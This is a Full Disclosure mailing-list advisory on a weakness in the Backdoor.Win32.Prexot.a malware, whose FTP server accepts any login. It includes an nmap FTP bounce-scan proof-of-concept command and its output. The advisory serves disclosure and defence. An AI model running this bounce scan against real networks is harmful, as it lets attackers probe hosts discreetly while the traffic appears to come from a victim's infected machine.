full-disclosure - [FD] Backdoor.Win32.Prexot.a / Port Bounce Scan (MITM)

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Date: Tue, 8 Feb 2022 22:16:03 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Prexot.a / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on random high TCP ports e.g 11404, 19545,
17001, 10110 and accepts any credentials. Third-party intruders who
successfully logon can abuse the backdoor FTP server as a man-in-the-middle
machine allowing PORT Command bounce scan attacks using Nmap. This
vulnerability allows remote attackers to abuse your system and discreetly
conduct network port scanning. Victims will then think these scans are
originating from the infected system running the afflicted malware FTP
Server and not you.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0485
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022

Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@....168.18.129:19545 -p21,22,80
192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-07 15:45 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://malvuln:malvuln@....168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 15:46
Attempting connection to ftp://malvuln:malvuln@....168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 15:46, 10.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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